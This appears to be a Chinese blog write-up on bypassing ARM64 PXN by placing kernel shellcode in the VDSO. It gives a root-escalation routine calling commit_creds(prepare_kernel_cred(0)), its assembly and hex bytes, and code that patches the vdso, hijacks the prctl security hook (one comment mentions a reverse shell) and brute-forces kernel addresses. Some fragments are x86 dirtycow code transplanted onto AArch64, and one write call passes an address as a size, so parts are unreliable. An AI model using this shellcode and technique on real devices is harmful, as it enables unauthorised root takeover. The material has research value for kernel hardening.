关于漏洞
这里只是对核心的缓解技术pxn如何绕过做了些思考,暂时不利用0day溢出。我先自己制造了一个堆溢出覆盖指针的漏洞。旨在研究pxn的一中叫做利用VDSO机制绕过的方式
给shellcode找块福地- 通过VDSO绕过PXN
一 . 前言
我们的前提是溢出控制了内核模块某个函数的地址,并且可以传递至少一个参数。我这里是一个。
二 . 大体思路
我们的思路就是这个VDSO, 由于这个共享内存的存在,如果我们能够控制这个内存的写操作,那么我们在内核中的空间,就可以布置我们的rop或者shellcode 。直接执行代码,因为这块内存在用户空间和内核空间存在对应的映射关系。 很明显我们知道这块内存是可以执行的。唯一的问题是可写的权限,这个也不是问题。我们利用set_memory_rw()函数来增加这个权限。 那么我们就可直接在用户层改写这块区域的函数,对应的内核空间就会直接映射出相应的数据。最后利用我们的内核溢出任意执行实现提权。
三 . 核心提权代码
void get_root()
{
size_t sprepare_kernel_cred_addr=0xffffffc0000d2d60;
size_t scommit_creds_addr=0xffffffc0000d2800;
char* (*pkc)(int) = sprepare_kernel_cred_addr;
void (*cc)(char*) = scommit_creds_addr;
(*cc)((*pkc)(0));
}
我们的目的是在内核中执行这块代码。我们会用地址泄露的方式获取内核函数的地址,prepare_kernel_cred,commit_creds
。硬编码是不符合我的性格的。所以这两个参数我要从用户层传递进来。怎么得到,就不讨论了。感兴趣的自己研究吧。但是我们的任意执行有一个限制,只有一个参数。
开始的时候很纠结,想要不要退一步,搞个两个参数的执行指针,觉得那样利用价值就会低很多。 所以坚决否定。 其实很简单,我们这可以把这俩个参数放在连续的内存中,利用一个指针进行传递,最后分别进行rop链构造。
四. shellcode构造
.section .text
.global _start
_start:
stp x29, x30, [sp, #-16]!
mov x1, #0xffffffffffff2d60 ; #-53920
movk x1, #0xd, lsl #16
mov w0, #0x0 ; #0
mov x29, sp
movk x1, #0xffc0, lsl #32
blr x1
mov x1, #0xffffffffffff2800 ; #-55296
movk x1, #0xd, lsl #16
movk x1, #0xffc0, lsl #32
blr x1
ldp x29, x30, [sp], #16
ret
#/bin/sh
aarch64-linux-gnu-as -o shellcode.o shellcode.s && aarch64-linux-gnu-ld -o shellcode shellcode.o
#aarch64-linux-gnu-objdump -d ./shellcode
aarch64-linux-gnu-objcopy -O binary shellcode shellcode.bin
hexdump -v -e '"\\""x" 1/1 "%02x" ""' shellcode.bin && echo
\xfd\x7b\xbf\xa9\xe1\x53\x9a\x92\xa1\x01\xa0\xf2\x00\x00\x80\x52\xfd\x03\x00\x91\x01\xf8\xdf\xf2\x20\x00\x3f\xd6\xe1\xff\x9a\x92\xa1\x01\xa0\xf2\x01\xf8\xdf\xf2\x20\x00\x3f\xd6\xfd\x7b\xc1\xa8\xc0\x03\x5f\xd6
想了下,这里必须要动态生成一下了。因为好像prepare_kernel_cred,commit_creds的地址没法动态传递。
可能shellcode 可以优化,待会再说。
脏牛漏洞-Docker逃逸POC(dirtycow-vdso)代码分析
脏牛漏洞-Docker逃逸POC(dirtycow-vdso)代码分析
这里看了下这个脏牛关于patch vdso的利用,简直不能在一样,可惜是x86架构32位,不过参考价值还是很大的。
五 . 关于如何更改vdso的思考
上一小节那两篇介绍了脏牛里的更改方法,我这里没那么麻烦。
因为我们假设内核任意地址执行的漏洞已经有了。 那么,我的思路是:
- 用户态找到vdso_addr clock_gettime_addr地址
p = vdso_addr;
entry_point = *(uint64_t *)(p + 0x18);
clock_gettime_offset = (uint32_t)entry_point & 0xfff;
clock_gettime_addr = (unsigned long)vdso_addr + clock_gettime_offset;
由于我们之前已经做过了关于内核泄露的部分,所以可以知道gettimeofdate关于内核中的地址。
而我们的shellcode将会放到vdso映射区域的尾部,这一部分的地址可以通过我们在用户态布置的地址和用户态gettime函数的地址的偏移计算出内核中shellcode 映射出来的地址。
也就布置成功了内核中的shellcode,最后使用代码执行进行执行。
target = VDSO_SIZE - payload_len - clock_gettime_offset;
memset(buf, '\x90', sizeof(PATTERN_PROLOGUE)-1);
buf[0] = '\xe8';
*(uint32_t *)&buf[1] = target - 5;
vdso_patch[1].patch = buf;
vdso_patch[1].size = prologue->size;
vdso_patch[1].addr = (unsigned char *)clock_gettime_addr;
save_orig_vdso();
六 . 关于直接开启页面执行权限
set_memory_x();
七 . 对vdso利用思路的小结
以上分析基于vdso和kernelbase的偏移固定不变。我本来想验证下这个随机化对这个偏移的影响,但是,测了几个版本的内核跟本没有开启随机化。如果是这样那么利用将会变得更为简单。
具体利用思路为:
1. 获得用户态vdso地址 利用getauxual函数;
2. 根据用户态vdso 文件的elf 爆破得到内核 vdso的地址。(如果开启了随机化,且偏移与kernel base不同或没有基址泄露的漏洞)
3. 写入内核vdso数据
(1)任意读写漏洞 直接可以复制到内核中。
如何执行,利用prtcl。这个函数可以最多传输1~5个参数。 它的调用路径是这样的:prctl->security_task_prctl-> (security_operations)->task_prctl 。如果我们修改(security_operations)->task_prctl为我们调用的函数地址,那么用户态执行prctl即可执行payload代码。
// 劫持prctl_hook去执行poweroff_work
memset(buf,'\x00',0x1000);
*(size_t *)buf = poweroff_work_addr;
write_mem(fd,prctl_hook, buf, 8);
//需要fork()子线程来执行reverse_shell程序
if (fork()==0){
prctl(addr,2,addr,addr,2);
exit(-1);
}
(2)eip覆盖漏洞,需要修改页面权限
set_memory_rw函数修改用户态中vdso中的写权限,用户态写入数据。内核态找到执行之。
(3)利用条件竞争写入(脏牛提权)
八.关于执行权限
突然发现一个重大的问题,就是一般意义上vdso不能用来提权。因为vdso在内核中rw权限,而且不会在内核中执行。在用户层倒是rx权限。可惜没有提权的权限。我说看了一些poc好像感觉不太对。
但是,我们可以利用任意执行溢出或任意读写溢出修改vdso在内核中的执行权限。最后执行之。
那么我们的思路将会变成:
1直接在vdso尾部布置shellcode。
struct vdso_patch {
unsigned char *patch;
unsigned char *copy;
size_t size;
void *addr;
};
static struct vdso_patch vdso_patch[2];
vdso_patch[0].patch = payload;
vdso_patch[0].size = payload_len;
vdso_patch[0].addr = (unsigned char *)vdso_addr + VDSO_SIZE - payload_len;
write_mem(fd,vdso_patch[0].addr, vdso_patch[0].patch,vdso_patch[0].addr);
2内核中查找shellocde 爆破vdso中的位置。
#define START_ADDR 0xffffffc000000000 //0xffffffff80000000
#define END_ADDR 0xffffffc00fffffff //ffffffffffffefff
for (size_t addr=START_ADDR; addr<END_ADDR; addr+=0x1000)
{
read_mem(fd,addr,buf,0x1000);
if (!strcmp("gettimeofday",buf+0x202))
{
result=addr;
printf("[+] found vdso 0x%lx\n",result);
break;
}
}
这里利用任意读写漏洞,但是要注意内核cpoy_to_user并不是所有的地址都可以读取。所有爆破地址范围如果没有选择对,这里很容易异常。我们可以在适配机上 cat /proc/kallsyms | grep gettimeofday 猜测vdso可能的范围。我这里猜测 0xffffffc000000000——0xffffffc00fffffff,感觉足够大了。 (!strcmp(“gettimeofday”,buf+0x202)这个是202是根据用户态vdso dump文件中gettimeofday字符串的位置偏移。
3任意代码执行。
if (check_vdso_shellcode(payload)!=0){
use_after_free_msgsnd(fd,set_memory_x_addr,vdso_addr,...);
use_after_free_msgsnd(fd,vdso_patch[0].addr,0);
}
九.其他执行方式
如果必须单纯的读写任意漏洞才能完成这个过程,就显得有点鸡肋。我看了下vdso的地址,在内核中有个导出符号。
# cat /proc/kallsyms | grep ffffffc0008f9
ffffffc0008f9000 D vdso_start
我这里爆破出来的和导出的符号地址一样,所以我们可以利用信息泄露根据kernel_base计算vdso地址。在加上单纯的任意代码执行。通过劫持task_prctl,将其修改成为set_memory_x。和条件竞争的写入,应该也能实现提权。
十.一些意外
任意读写的漏洞其实根本用不了以上那么麻烦。因为我们修改了security_task_prctl的内容以后,可以直接执行提权指令。
prctl(null,null,null,null,null);
以上讨论唯一的意义在于,没有任意读写漏洞,只能劫持pc指针的话,那么我们可以用线程竞争在用户态布置代码,修改页权限,最后执行提权。
不过还有个问题就是修改页权限似乎还可能不那么容易。
这里有点疑惑,内核中的代码为什么可以直接篡改,理论上应该受权限的限制,即使是任意读写漏洞页写不了,必须修改权限才可以,可能这里的内核没有写保护吧。
2620



被折叠的 条评论
为什么被折叠?



